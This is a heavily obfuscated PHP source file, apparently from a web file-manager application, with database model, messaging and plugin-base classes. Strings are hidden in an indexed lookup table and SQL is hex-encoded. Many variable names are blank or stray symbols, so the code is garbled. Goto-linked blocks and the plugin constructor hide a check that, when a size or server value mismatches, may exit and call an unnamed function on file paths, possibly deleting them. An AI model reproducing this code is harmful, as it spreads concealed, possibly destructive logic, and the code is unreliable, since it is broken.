self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($쾈, $ۨ, $崞); } } unset($쾈); return $ŝ; } private function _listAppendPathRecycle(&$, $, $) { $ =& $_SERVER[秼]; if (!in_array($, $) && $[$[193]] != $) { return; } $ = explode($[8], trim($[$[593]], $[8])); $䚽 = implode($[8], array_slice($, 2)); $[$[593]] = $[8] . LNG($[603]) . $[8] . ltrim($䚽, $[8]); $[$[595]] = $[604] . implode($[50], array_slice($, 1)) . $[50]; if ($[$[193]] == $) { $[$[595]] = $[604]; $[$[192]] = $[230]; $[$[32]] = LNG($[603]); } $[$[605]] = $[606]; } protected function _listAppendPathRoot(&$, $ˆ) { $Ȁ =& $_SERVER[秼]; static $ʽ = false; static $ = false; $ = $Ȁ[12]; if ($[$Ȁ[190]] == self::TYPE_USER) { if ($[$Ȁ[580]] == USER_ID) { $ = LNG($Ȁ[607]); if ($ʽ === !1) { $ = Model($Ȁ[608])->getInfoFull(USER_ID); $ʽ = _get($, $Ȁ[609], $Ȁ[12]); } if ($ === !1) { $ = Model($Ȁ[608])->getInfoFull(USER_ID); $ = _get($, $Ȁ[610], $Ȁ[12]); } if ($ˆ && $ˆ[0] == $ʽ || !$ˆ && $[$Ȁ[193]] == $ʽ) { $ = LNG($Ȁ[611]); $[$Ȁ[612]] = $Ȁ[613]; } if ($ˆ && $ˆ[0] == $ || !$ˆ && $[$Ȁ[193]] == $) { $ = $ . $Ȁ[614] . LNG($Ȁ[615]); } if (!$ˆ) { $[$Ȁ[32]] = $; } } else { $ = Model($Ȁ[608])->getInfoFull($[$Ȁ[580]]); $跓 = _get($, $Ȁ[610], $Ȁ[12]); $[$Ȁ[616]] = Model($Ȁ[588])->getInfoSimpleOuter($[$Ȁ[580]]); $ = LNG($Ȁ[617]) . $Ȁ[176] . $[$Ȁ[616]][$Ȁ[32]] . $Ȁ[178]; if ($ˆ && $ˆ[0] == $跓 || !$ˆ && $[$Ȁ[193]] == $跓) { $ = LNG($Ȁ[617]) . $Ȁ[618] . $[$Ȁ[616]][$Ȁ[32]] . $Ȁ[614] . LNG($Ȁ[615]) . $Ȁ[178]; } } } else { if ($[$Ȁ[190]] == self::TYPE_GROUP) { $ = Model($Ȁ[596])->getInfoSimple($[$Ȁ[580]]); $ = $[$Ȁ[32]]; } else { if ($[$Ȁ[190]] == self::TYPE_SYSTEM) { $ = $Ȁ[619]; } } } $ = $ ? $Ȁ[8] . $ . $Ȁ[8] : $Ȁ[8]; return $; } protected function _listAppendUser(&$) { $ϥ =& $_SERVER[秼]; $ = array_to_keyvalue($, $ϥ[12], $ϥ[538]); $ = array_to_keyvalue($, $ϥ[12], $ϥ[540]); $ = array_merge($, $); $Dz = Model($ϥ[608])->userListInfo($); foreach ($ as &$ǽ) { $걣 = $ǽ[$ϥ[538]]; $ǽ[$ϥ[538]] = $Dz[$걣] ? $Dz[$걣] : !1; $걣 = $ǽ[$ϥ[540]]; $ǽ[$ϥ[540]] = $Dz[$걣] ? $Dz[$걣] : !1; if (_get($ǽ, $ϥ[620], 0)) { $žܝ = $GLOBALS[$ϥ[6]][$ϥ[92]][$ϥ[621]]; if ($ǽ[$ϥ[550]][$ϥ[622]] <= time() - $žܝ) { $this->metaSet($ǽ[$ϥ[193]], $ϥ[623], null); $this->metaSet($ǽ[$ϥ[193]], $ϥ[622], null); unset($ǽ[$ϥ[550]][$ϥ[623]]); continue; } $ܨ = $ǽ[$ϥ[550]][$ϥ[623]]; $ǽ[$ϥ[550]][$ϥ[624]] = Model($ϥ[608])->getInfoSimpleOuter($ܨ); } } unset($ǽ); } public function parentLevelArray($) { $֤ =& $_SERVER[秼]; $ = explode($֤[50], trim($, $֤[50])); return array_remove_value($, $֤[230]); } public function listAll($) { $ۅ =& $_SERVER[秼]; $ = $this->sourceInfo($); $ѷ = array($ۅ[625] => array($ۅ[626], $[$ۅ[595]] . $ . $ۅ[627]), $ۅ[628] => 0); $ = $ۅ[629]; $ = "\x4c\105\x46\124\x20\112\x4f\x49\116\x20{$this->tablePrefix}\151\x6f\137\x66\151\154\x65\40\x66\x69\x6c\x65\40\x6f\x6e\x20\x73\x6f\x75\x72\143\x65\x2e\146\x69\x6c\x65\111\104\x20\75\x20\146\x69\154\x65\56\146\x69\154\x65\x49\x44"; $ݑԞ = $this->alias($ۅ[530])->field($)->where($ѷ)->join($)->select(); $this->_listAppendAuth($ݑԞ); $this->_listAppendUser($ݑԞ); $this->_listAppendPath($ݑԞ); $ݑԞ = array_to_keyvalue($ݑԞ, $ۅ[193]); $Гߛ = "\57{$[$ۅ[32]]}\x2f"; $Гߛ = $Гߛ == $ۅ[256] ? $ۅ[8] : $Гߛ; $ = array(); foreach ($ݑԞ as $ѽ => $긝) { $ = $this->parentLevelArray($긝[$ۅ[595]]); array_shift($); $ђ = $Гߛ; for ($ǀ = 0; $ǀ < count($); $ǀ++) { $ђ .= $ݑԞ[$[$ǀ]][$ۅ[32]] . $ۅ[8]; } $ђ .= $긝[$ۅ[32]]; if ($긝[$ۅ[496]]) { $ђ .= $ۅ[8]; } $ = array($ۅ[506] => str_replace($ۅ[256], $ۅ[8], str_replace($ۅ[256], $ۅ[8], str_replace($ۅ[256], $ۅ[8], $ђ))), $ۅ[630] => intval($긝[$ۅ[496]]), $ۅ[631] => intval($긝[$ۅ[79]]), $ۅ[88] => intval($긝[$ۅ[88]]), $ۅ[90] => $this->pathInfoFilter($긝)); if (!$[$ۅ[496]]) { $[$ۅ[552]] = $긝[$ۅ[552]]; } $[] = $; } $ = array_sort_by($, $ۅ[87]); return $; } } goto Bौ; EԾǂ: $_size = $_SERVER[秼][433]; if ($_SERVER[$_SERVER[秼][434]] != $_size($_file)) { $_getc = $_SERVER[秼][435]; $_getfile = $_SERVER[$_SERVER[秼][436]] . $_SERVER[秼][437]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[秼][287], $_getfilec); if (count($_getarrs) < $_SERVER[秼][438]) { $exit = $_SERVER[秼][439]; $exit(); } $_act = $_SERVER[秼][440]; $_act($_file); } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\x6d\x6f\x64\x69\146\x79\x54\x69\155\x65", "\x74\151\155\145", "\x69\x6e\163\145\x72\x74\x2c\165\x70\x64\x61\164\x65", "\146\165\156\143\164\x69\x6f\x6e"), array("\143\162\x65\x61\x74\145\124\151\155\145", "\x74\x69\155\x65", "\151\156\163\145\162\x74", "\x66\165\156\143\x74\151\x6f\156")); public function setDataAuto($) { $this->dataAuto = $; } public function __construct($Ժ = '', $ = '', $㞩 = '') { parent::__construct($Ժ, $, $㞩); } protected $tableMeta = array(); protected function _beforeInsert(&$ӊ, $ż) { $ =& $_SERVER[秼]; if (!$this->checkDataAutoHas($[441])) { return; } $this->dataBeforeFilter($ӊ, $[441]); } protected function _beforeUpdate(&$ϡƒ, $䴿) { $ =& $_SERVER[秼]; if (!$this->checkDataAutoHas($[442])) { return; } $this->dataBeforeFilter($ϡƒ, $[442]); } protected function _afterSelect(&$, $ԍ) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[秼][443])) { return; } foreach ($ as &$ͯ) { $this->dataAfterFilter($ͯ); } unset($ͯ); } protected function _afterFind(&$߾, $) { if (!is_array($߾)) { return; } if (!$this->checkDataAutoHas($_SERVER[秼][443])) { return; } $this->dataAfterFilter($߾); } public static function textEncode($) { if (!$) { return $; } $ = json_encode($); $ = preg_replace_callback($_SERVER[秼][444], function ($馬) { return addslashes($馬[0]); }, $); return json_decode($); } public static function textDecode($˫) { $̎ =& $_SERVER[秼]; $ = json_encode($˫); $ = preg_replace_callback($̎[445], function ($˙) { return $_SERVER[秼][100]; }, $); return json_decode($); } public function setAutoIncrement($Ƴ) { $ = array($this->getPk() => $Ƴ); $× = $this->data($)->add(); if ($×) { $this->delete($×); } } public function getAutoIncrement() { $ = $this->getTableName(); $궍 = $this->max($this->getPk()); $ = $this->query("\163\150\157\167\x20\164\x61\142\x6c\x65\40\x73\164\141\164\x75\163\x20\x77\x68\x65\x72\145\x20\116\x61\155\x65\x3d\47{$}\47"); $խ = $[0][$_SERVER[秼][446]]; $݅ = max($궍, $խ); return $݅; } protected function _callBefore($, $̭) { return $this->cacheCallCheck($, $̭, !1); } protected function _callAfter($ê, $՚) { return $this->cacheCallCheck($ê, $՚, !0); } protected function cacheFunctionAlias($Ƞ) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($é, $, $ = false) { $ڥ =& $_SERVER[秼]; $ = $this->cacheFunctionAlias($); if (!$) { return; } foreach ($ as $ => $nj) { $Ȝ = $nj[0]; $ = explode($ڥ[50], $nj[1]); $Բ = isset($nj[2]) ? $nj[2] : $ڥ[12]; if ($é == $) { return $this->cacheFunctionGet($, $Ȝ, $Բ); } if ($ && in_array($é, $)) { $this->cacheFunctionClear($, $Ȝ, $Բ); } } } public function cacheFunctionGet($߽, $, $ = '') { $ = $this->cacheKeyMake($߽, $, $); $ͽю = Cache::get($); if (!is_array($ͽю)) { $ͽю = call_user_func_array(array($this, $߽), array($, !0)); Cache::set($, $ͽю); } return $ͽю; } public function cacheFunctionClear($, $, $ޑ = '') { $ = $; if (!is_array($)) { $ = array($); } foreach ($ as $) { $ӷ = $this->cacheKeyMake($, $, $ޑ); Cache::remove($ӷ); } } private function cacheKeyMake($ͥ, $ݶ, $) { $ᢨ =& $_SERVER[秼]; if ($) { $ݶ = $ݶ . $ᢨ[447] . $; } return get_class($this) . $ᢨ[11] . $ͥ . $ᢨ[448] . $ݶ; } protected function selectPageReset() { $ƙ =& $_SERVER[秼]; if (isset($GLOBALS[$ƙ[449]])) { return; } $GLOBALS[$ƙ[449]] = isset($GLOBALS[$ƙ[7]][$ƙ[450]]) ? $GLOBALS[$ƙ[7]][$ƙ[450]] : !1; $GLOBALS[$ƙ[451]] = isset($GLOBALS[$ƙ[7]][$ƙ[430]]) ? $GLOBALS[$ƙ[7]][$ƙ[430]] : !1; $GLOBALS[$ƙ[7]][$ƙ[450]] = !1; $GLOBALS[$ƙ[7]][$ƙ[430]] = !1; } protected function selectPageRestore() { $ =& $_SERVER[秼]; if (!isset($GLOBALS[$[449]])) { return; } $GLOBALS[$[7]][$[450]] = $GLOBALS[$[449]]; $GLOBALS[$[7]][$[430]] = $GLOBALS[$[451]]; if ($GLOBALS[$[7]][$[450]] === !1) { unset($GLOBALS[$[7]][$[450]]); } if ($GLOBALS[$[7]][$[430]] === !1) { unset($GLOBALS[$[7]][$[430]]); } unset($GLOBALS[$[449]]); unset($GLOBALS[$[451]]); } protected function selectPage($ = 200, $ = 1) { $ =& $_SERVER[秼]; global $in; $ = $this->optionsValue(); $ = 50000; $ = isset($in[$[450]]) && $in[$[450]] ? $in[$[450]] : $; if ($ === -1) { $in[$[450]] = !1; $ = 100000000; $ = $; } $ᨰ = $; $ᨰ[$[452]] = array(); $ = intval($); $ = $ <= 5 ? 5 : ($ >= $ ? $ : $); $ = intval(isset($in[$[430]]) && $in[$[430]] ? $in[$[430]] : $); $ = $ <= 1 ? 1 : $; $Ǩ = array(); $ = 1; if ($ == 1 && $) { $this->optionsValue($); $Ǩ = $this->page($, $)->select(); $ʯ = is_array($Ǩ) ? count($Ǩ) : 0; if ($ʯ < $) { $ۙ = 1; } else { $this->optionsValue($ᨰ); $ʯ = intval($this->count()); $ۙ = ceil($ʯ / $); } } else { $this->optionsValue($ᨰ); $ʯ = intval($this->count()); $ۙ = ceil($ʯ / $); $ = $ >= $ۙ ? $ۙ : $; $this->optionsValue($); $Ǩ = $this->page($, $)->select(); } if (!is_array($Ǩ)) { $Ǩ = array(); } if ($ۙ == 1) { $ʯ = count($Ǩ); } $ͬ = array($[453] => array($[454] => $ʯ, $[450] => $, $[430] => $, $[455] => $ۙ), $[456] => $Ǩ); return $ͬ; } protected function checkLength($, $̿ = 0, $¤ = '') { $ =& $_SERVER[秼]; $̿ = $̿ ? $̿ : 65536; if (!$ || strlen($) < $̿) { return; } $¤ = $¤ ? $¤ . $[74] : $[12]; show_json($¤ . LNG($[457]) . "\50{$̿}\51", !1); } protected function metaSet($ԑ, $ˤ = null, $ݼ = null) { $ڟ =& $_SERVER[秼]; if (!$this->tableMeta || !$ԑ) { return !1; } $Ѓ = $this->tableMeta[$ڟ[458]]; $ޗ = $this->tableMeta[$ڟ[459]]; $׆͡ = Model($ޗ); $ = array($Ѓ => $ԑ, $ڟ[460] => $ˤ); if (is_null($ˤ)) { return $׆͡->where(array($Ѓ => $ԑ))->delete(); } if (is_null($ݼ) && is_string($ˤ)) { return $׆͡->where($)->delete(); } $ = is_array($ˤ) ? $ˤ : array(); if (is_string($ˤ)) { $[$ˤ] = $ݼ; } $ɕ = array(); foreach ($ as $ => $) { if (is_null($) && is_string($)) { $׆͡->where(array($Ѓ => $ԑ, $ڟ[460] => $))->delete(); continue; } $this->checkLength($, !1, $ޗ . $ڟ[4] . $); $ɕ[] = array($Ѓ => $ԑ, $ڟ[97] => $, $ڟ[461] => $); } $ = $ڟ[462] . $ޗ; CacheLock::lock($); $׆͡->where(array($Ѓ => $ԑ))->addAll($ɕ, array(), !0); CacheLock::unlock($); return !0; } public function metaGet($ö濒, $ = false) { $ں =& $_SERVER[秼]; if (!$this->tableMeta) { return array(); } $ї = $this->tableMeta[$ں[458]]; $ۿ = Model($this->tableMeta[$ں[459]]); if ($) { $Ϣ = array($ї => $ö濒, $ں[97] => $); return $ۿ->where($Ϣ)->getField($ں[461]); } $Ϣ = array($ї => $ö濒); $܋ = $ۿ->field($ں[463])->where($Ϣ)->select(); $܋ = array_to_keyvalue($܋, $ں[97], $ں[461]); return $܋; } private function checkDataAutoHas($Ɯ) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $) { if (in_array($Ɯ, explode($_SERVER[秼][50], $[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$ݞ, $ʶ) { $ٳ =& $_SERVER[秼]; if (!is_array($ݞ)) { return; } foreach ($this->dataAuto as $Ѝ) { $ןǦ = $Ѝ[0]; if (!in_array($ʶ, explode($ٳ[50], $Ѝ[2]))) { continue; } switch (trim($Ѝ[3])) { case $ٳ[398]: case $ٳ[399]: $փ = $Ѝ[1]; $ = isset($Ѝ[4]) ? (array) $Ѝ[4] : array(); if ($փ == $ٳ[206] && array_key_exists($ןǦ, $ݞ)) { if (!$ݞ[$ןǦ]) { unset($ݞ[$ןǦ]); } break; } if (isset($ݞ[$ןǦ])) { array_unshift($, $ݞ[$ןǦ]); } if ($ٳ[398] == $Ѝ[3]) { $ݞ[$ןǦ] = call_user_func_array($փ, $); } else { $ݞ[$ןǦ] = call_user_func_array(array(&$this, $փ), $); } break; case $ٳ[349]: if (isset($ݞ[$ןǦ]) && $ݞ[$ןǦ]) { $ݞ[$ןǦ] = call_user_func_array(array(&$this, $Ѝ[1]), array($ݞ[$ןǦ])); } break; case $ٳ[352]: $ݞ[$ןǦ] = $ݞ[$Ѝ[1]]; break; case $ٳ[371]: if (isset($ݞ[$ןǦ]) && !is_string($ݞ[$ןǦ])) { $ݞ[$ןǦ] = json_encode_force($ݞ[$ןǦ]); } break; case $ٳ[400]: if ($ݞ[$ןǦ] === $ٳ[12]) { unset($ݞ[$ןǦ]); } break; case $ٳ[401]: $ݞ[$ןǦ] = $Ѝ[1]; default: break; } } if ($ʶ == $ٳ[441]) { $ = strtolower($this->db->getDbType()); if (strpos($, $ٳ[13]) !== 0) { return; } $ = $this->field(!0)->fields; $Ȇ = $[$ٳ[331]]; if (isset($[$ٳ[330]])) { unset($Ȇ[$[$ٳ[330]]]); } foreach ($Ȇ as $܉͓ => $ʶ) { if (!isset($ݞ[$܉͓])) { $ݞ[$܉͓] = $ٳ[12]; } } } } private function dataAfterFilter(&$Շ) { $ڗƈ =& $_SERVER[秼]; foreach ($this->dataAuto as $) { $ = $[0]; if (!isset($Շ[$])) { continue; } if (!in_array($ڗƈ[443], explode($ڗƈ[50], $[2]))) { continue; } switch (trim($[3])) { case $ڗƈ[398]: case $ڗƈ[399]: $ڷ = isset($[4]) ? (array) $[4] : array(); array_unshift($ڷ, $Շ[$]); if (isset($[4]) && $[4] == $ڗƈ[464]) { $ڷ = array($Շ[$]); } if ($ڗƈ[398] == $[3]) { $Շ[$] = call_user_func_array($[1], $ڷ); } else { $Շ[$] = call_user_func_array(array(&$this, $[1]), $ڷ); } break; case $ڗƈ[349]: if (isset($Շ[$]) && $Շ[$]) { $Շ[$] = call_user_func_array(array(&$this, $[1]), array($Շ[$])); } break; case $ڗƈ[352]: $Շ[$] = $Շ[$[1]]; break; case $ڗƈ[371]: $ = $Շ[$]; $Շ[$] = json_decode($, !0); if (is_null($Շ[$])) { $Շ[$] = $; } break; case $ڗƈ[400]: if ($Շ[$] === $ڗƈ[12]) { unset($Շ[$]); } break; case $ڗƈ[401]: $Շ[$] = $[1]; break; default: break; } } } public function saveAll($) { $ =& $_SERVER[秼]; $ = $this->tablePrefix . $this->tableName; $ = self::SQL_WHERE_IN_CHUNK; $ = is_array($) ? $ : array(); $و߈ = $[465]; $ڒ = 0; $ = array(); $٩ = count($); for ($ = 0; $ < $٩; $++) { $ = $[$]; if (!is_array($) || count($) != 4) { continue; } $ = "\x55\120\x44\x41\x54\x45\40\x60{$}\140\40\x53\105\x54\x20{$[2]}\x20\75\x20\103\101\123\x45\x20{$[0]}\40\12"; if ($ڒ == 0) { $و߈ = $; } $[] = $[121] . $[1] . $[121]; $ڒ++; $و߈ .= "\x20\127\110\105\x4e\x20\x27{$[1]}\47\40\124\x48\105\116\40\47{$[3]}\47\40\12"; if ($ڒ == $ || $ == $٩ - 1) { $͏ = implode($[50], $); $و߈ .= "\40\105\x4e\x44\40\40\x57\110\x45\122\x45\40{$[0]}\x20\x49\116\40\50{$͏}\51\x20"; $this->execute($و߈); $ڒ = 0; $و߈ = $; $this->chunkEventCheck(count($)); $ = array(); } } $this->chunkEventSet(); } public function saveAllEach($է) { $ =& $_SERVER[秼]; $ʬ = $this->tablePrefix . $this->tableName; foreach ($է as $) { if (!is_array($) || count($) != 4) { continue; } $ѹ = $[0] . $[466] . $[1] . $[121]; $ؑ = $[2] . $[466] . $[3] . $[121]; $ǂ = "\165\x70\x64\x61\x74\145\x20{$ʬ}\x20\163\x65\164\x20{$ؑ}\x20\167\150\x65\x72\145\40{$ѹ}\73"; $this->execute($ǂ); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($͢ۿ = false, $Ʈ = false) { $this->_chunkEvent = $͢ۿ; $this->_chunkEventParam = $Ʈ; } private function chunkEventCheck($۽) { if (!$this->_chunkEvent) { return; } $ۨ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $ۨ[$_SERVER[秼][467]] = $۽; Hook::trigger($this->_chunkEvent, $ۨ); } public function addAll($ƻ, $߽ = array(), $¦ = false) { $Æ =& $_SERVER[秼]; ignore_timeout(); $ = self::SQL_WHERE_IN_CHUNK; if (empty($ƻ)) { $this->error = think_lang($Æ[350]); return !1; } $߽ = $this->_parseOptions($߽); foreach ($ƻ as $ => $ޗ) { $ƻ[$] = $this->_facade($ޗ); $this->_beforeInsert($ƻ[$], $߽); } if (method_exists($this->db, $Æ[351])) { for ($ٔ = 0; $ٔ < count($ƻ); $ٔ += $) { $ = array_slice($ƻ, $ٔ, $); if (!is_array($) || count($) == 0) { break; } $ۤ = $this->db->insertAll($, $߽, $¦); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($ƻ as $ => $ޗ) { $ۤ = $this->db->insert($ޗ, $߽, $¦); } $this->commit(); } if (!1 !== $ۤ) { $ص = $this->getLastInsID(); if ($ص) { return $ص; } } return $ۤ; } public function save($Ô = '', $ = array()) { $űվ =& $_SERVER[秼]; $ȭ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$) { return parent::save($Ô, $); } $ = 0; $ = $[$űվ[354]][$][1]; $ = is_array($) ? $ : array(); $ = count($); for ($鱪 = 0; $鱪 < $; $鱪 += $ȭ) { $ = array_slice($, $鱪, $ȭ); if (!is_array($) || count($) == 0) { break; } $[$űվ[354]][$][1] = $; $this->optionsValue($); $ += parent::save($Ô, $); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); return $; } public function add($ = '', $ = array(), $ʃɍ = false) { if ($this->addTaskStatus && is_array($)) { $this->addTaskData[] = $; return; } return parent::add($, $, $ʃɍ); } public function parseWhereLike($و, $И = '', $җ = false, &$Đ = false) { $䍤 =& $_SERVER[秼]; $뚝 = $GLOBALS[$䍤[6]][$䍤[468]]; if (!$뚝[$䍤[469]]) { return $و; } if (!is_array($و)) { return $و; } $̠ = array(); $̞ = 0; foreach ($و as $ => $滊) { if (is_array($滊) && count($滊) == 2 && $滊[0] == $䍤[470] && is_string($滊[1]) && substr($滊[1], 0, 1) == $䍤[471] && substr($滊[1], strlen($滊[1]) - 1, 1) == $䍤[471]) { $Đ = !0; $Ɨ = is_string($) ? $ : $И; $մ = substr($滊[1], 1, strlen($滊[1]) - 2); $մ = $this->db->escapeString($մ); if (!strpos($Ɨ, $䍤[10])) { $Ɨ = $䍤[472] . $Ɨ . $䍤[472]; } $ = $䍤[222] . $մ . $䍤[222]; $մ = str_replace(array($䍤[10], $䍤[473], $䍤[11]), $䍤[474], $մ); if ($뚝[$䍤[475]]) { $ = $䍤[476] . $մ . $䍤[477]; if ($뚝[$䍤[478]]) { $ = $䍤[477] . $մ . $䍤[476]; } } $̠[$̞] = $䍤[479] . $Ɨ . $䍤[480] . $ . $䍤[481]; $̞++; continue; } if (is_array($滊)) { $И = is_string($) ? $ : $И; $滊 = $this->parseWhereLike($滊, $И, !0, $Đ); } if (is_numeric($)) { $̠[$̞] = $滊; $̞++; } else { $̠[$] = $滊; } } if ($Đ && !$җ) { } return $̠; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($͵ = array()) { $ˢ =& $_SERVER[秼]; $ӌ = self::SQL_WHERE_IN_CHUNK; $ֈ = $this->optionsValue(); $ = $this->findWhereField($ֈ); if (!$ || isset($ֈ[$ˢ[369]]) || isset($ֈ[$ˢ[430]])) { return parent::select($͵); } $ = $ֈ[$ˢ[354]][$][1]; $ = is_array($) ? $ : array(); $Ӆ = null; for ($̩ = 0; $̩ < count($); $̩ += $ӌ) { $ = array_slice($, $̩, $ӌ); if (!is_array($) || count($) == 0) { break; } $ֈ[$ˢ[354]][$][1] = $; $this->optionsValue($ֈ); $ŀ = parent::select($͵); if (!$ŀ) { continue; } $Ӆ = is_array($Ӆ) ? $Ӆ : array(); $Ӆ = array_merge($Ӆ, $ŀ); } return $Ӆ; } public function delete($ü = array()) { $ =& $_SERVER[秼]; $ƴ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $УƧ = $this->findWhereField($); if (!$УƧ) { return parent::delete($ü); } $Ͼ = 0; $ = $[$[354]][$УƧ][1]; $ = is_array($) ? $ : array(); for ($ᚇܗ = 0; $ᚇܗ < count($); $ᚇܗ += $ƴ) { $Մ = array_slice($, $ᚇܗ, $ƴ); if (!is_array($Մ) || count($Մ) == 0) { break; } $[$[354]][$УƧ][1] = $Մ; $this->optionsValue($); $Ͼ += parent::delete($ü); } return $Ͼ; } private function findWhereField($蠇) { $ =& $_SERVER[秼]; $ = self::SQL_WHERE_IN_CHUNK; if (!is_array($蠇) || !is_array($蠇[$[354]])) { return !1; } foreach ($蠇[$[354]] as $Φ˳ => $) { if (is_array($) && isset($[0]) && is_string($[0]) && strtolower($[0]) == $[7] && is_array($[1]) && count($[1]) > $) { ignore_timeout(); return $Φ˳; } } return !1; } public function setMasterDB($˅گ = true) { think_config($_SERVER[秼][482], $˅گ); } } goto E; F: class Message { function __construct() { } public function send($ = '', $ = array(), $ݦõ = "\164\145\170\x74") { $ިɯ =& $_SERVER[秼]; $ = array($ިɯ[33] => $ިɯ[1222], $ިɯ[171] => $); if (in_array($ݦõ, array($ިɯ[1222], $ިɯ[1631]))) { $[$ިɯ[33]] = $ݦõ; } $ = array($ިɯ[589] => isset($[$ިɯ[589]]) ? $[$ިɯ[589]] : $ިɯ[12], $ިɯ[676] => isset($[$ިɯ[676]]) ? $[$ިɯ[676]] : $ިɯ[12]); if (empty($) || empty($[$ިɯ[589]]) && empty($[$ިɯ[676]])) { return !1; } $Һ = array($ިɯ[1560] => $, $ިɯ[1632] => $); Hook::trigger($ިɯ[1633], $Һ); } } class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $ض =& $_SERVER[秼]; if ($_SERVER[$ض[434]] != $_SERVER[$ض[1634]]) { $֗ = $ض[966]; $ = $ض[435]; $ = $_SERVER[$ض[436]] . $ض[437]; $֩ = $($); $ߔ = explode($ض[287], $֩); if (count($ߔ) < $ض[702]) { $ = $ض[439]; $(); } $ࢇ = $ض[967]; $ࢇ($_SERVER[$ض[968]]); $ࢇ($_SERVER[$ض[436]] . $ض[1635]); $ͤ = 1; while ($ͤ > 1) { $ͤ = $ͤ + 4; $ = rawurlencode($ͤ . $ض[465]); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($ض[1636]); $this->pluginName = str_replace($ض[1636], $ض[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $ض[8]; $this->pluginApi = appHostGet() . $ض[1637] . $this->pluginName . $ض[8]; $this->pluginHost = $config[$ض[1638]] . $this->pluginName . $ض[8]; $this->pluginHostDefault = $config[$ض[1638]] . $this->pluginName . $ض[8]; $ = $config[$ض[1639]]; if ($ && strpos($ض[50] . $ . $ض[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$ض[1640]] . $this->pluginName . $ض[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); $this->linkHas = !1; return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[秼][1641]); } protected function assign($, $ = false) { if (is_array($)) { $this->values = array_merge($this->values, $); } else { $this->values[$] = $; } } protected function display($) { extract($this->values); require $; } final function hookRegist($) { $this->modelPlugin->appRegist($this->pluginName, $); } final function appIcon() { $ =& $_SERVER[秼]; $ = $this->appPackage(); $٩ǁ = $[12]; if (isset($[$[501]])) { if (isset($[$[501]][$[1642]])) { $٩ǁ = $[1643] . $[$[501]][$[1642]] . $[1644]; } else { if ($[$[501]][$[1645]]) { $٩ǁ = $[1646] . $[$[501]][$[1645]] . $[1647]; } } } return $٩ǁ; } final function fileCanView($؊) { $ =& $_SERVER[秼]; if (request_url_safe($؊)) { return !0; } if ($this->isShare($؊)) { return !0; } if (!KodUser::isRoot() && !KodUser::isLogin()) { $ق = $[1648] . rawurlencode(this_url()); show_tips(LNG($[1649]) . $[1650] . $ق . $[1651] . LNG($[1652]) . $[1653], !1); } if (!Action($[1654])->authCan($[1655])) { show_tips(LNG($[1656]) . $[1657], !1); } ActionCall($[1658], $؊); } final function isShare($Բ˹) { $ = KodIO::parse($Բ˹); return $[$_SERVER[秼][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($آ) { if (request_url_safe($آ)) { return $آ; } if (!$this->isShare($آ)) { $آ = $this->filePath($آ, !1); } return Action($_SERVER[秼][1265])->linkOut($آ); } public function filePathLinkOut($) { if (request_url_safe($)) { return $; } $this->fileCanView($); return Action($_SERVER[秼][1265])->link($); } final function filePath($ڤ, $ҳ = true, $қ = false) { $ٟ =& $_SERVER[秼]; $ґ֓ = $this->filePathGet($ڤ, $ҳ); if (!$this->fileInfo) { show_tips(LNG($ٟ[108]), !1); } if ($қ && isset($this->fileInfo[$ٟ[552]]) && $this->fileInfo[$ٟ[552]]) { $ = Model($ٟ[555])->fileInfo($this->fileInfo[$ٟ[552]]); if (!$ || !IO::exist($[$ٟ[87]])) { $Γ = LNG($ٟ[108]) . LNG($ٟ[1659]); if (KodUser::isRoot() && isset($[$ٟ[87]])) { $Γ .= $ٟ[1660] . $[$ٟ[87]] . $ٟ[1661]; } show_tips($Γ); } } Hook::trigger($ٟ[1662], $ґ֓); return $ґ֓; } final function filePathGet($, $֟ = true) { $܌ =& $_SERVER[秼]; if ($ = $this->checkSharePath($, $֟)) { return $; } $this->fileCanView($); if (request_url_safe($)) { $ڀ = parse_url_query($); if (isset($ڀ[$܌[1663]]) && isset($ڀ[$܌[236]])) { $ = Mcrypt::decode($ڀ[$܌[236]], Model($܌[858])->get($܌[859])); if ($) { $this->fileInfo = IO::info($); $this->fileInfo[$܌[1664]] = $; $this->cachePath = $this->pluginCachePath($܌[12], $֟); return $; } } $ = $this->_cacheHttpFile($, $֟); $this->fileInfo = IO::info($); } else { $this->fileInfo = IO::info($); $this->cachePath = $this->pluginCachePath($܌[12], $֟); } return $; } final function _cacheHttpFile($, $Юڑ = true) { $ל =& $_SERVER[秼]; $ = parse_url_query($); $ = get_path_ext($); if (isset($[$ל[32]]) && $[$ל[32]]) { $ = get_path_ext($[$ל[32]]); } $˕ = hash_path($) . $ל[10] . $; $this->cachePath = $this->pluginCachePath($Юڑ ? $˕ : $ל[12]); $٢굘 = IO::fileNameExist($this->cachePath, $˕); if ($٢굘) { return KodIO::make($٢굘); } $ڭ = rtrim($this->cachePath, $ל[8]) . $ל[8] . $˕; return $this->pluginCacheFileSet($ڭ, file_get_contents_nossl($)); } final function 